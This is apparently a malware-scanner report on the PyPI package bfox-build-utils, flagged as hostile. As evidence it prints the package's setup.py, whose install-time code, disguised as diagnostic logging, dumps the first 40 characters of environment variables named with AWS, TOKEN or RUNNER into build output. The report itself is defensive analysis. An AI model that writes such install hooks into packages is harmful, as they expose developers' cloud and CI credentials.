Hostile 100% python Download

bfox-build-utils 1.0.0

Exfiltrates credentials during build

“Build utilities”

PyPI setup.py harvests credential-named environment entriesPython install hook harvests environment credentials

Evidence

setuptools.setup call setup.py · lines 1–19
1import setuptools
2import os
3import sys
4
5# Log build environment for diagnostics.
6print(f"bfox-build-utils 1.0.0 setup")
7print(f"python: {sys.executable}")
8print(f"pid: {os.getpid()}")
9for key in sorted(os.environ):
10 if "AWS" in key or "TOKEN" in key or "RUNNER" in key:
11 print(f" {key}={os.environ[key][:40]}")
12
13setuptools.setup(
14 name="bfox-build-utils",
15 version="1.0.0",
⋯4 lines
Declares supported Python versions PKG-INFO · lines 1–7
1Metadata-Version: 2.4
2Name: bfox-build-utils
3Version: 1.0.0
4Summary: Build utilities
5Requires-Python: >=3.9
6Dynamic: requires-python
7Dynamic: summary
Declares supported Python versions PKG-INFO · lines 1–7
1Metadata-Version: 2.4
2Name: bfox-build-utils
3Version: 1.0.0
4Summary: Build utilities
5Requires-Python: >=3.9
6Dynamic: requires-python
7Dynamic: summary

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.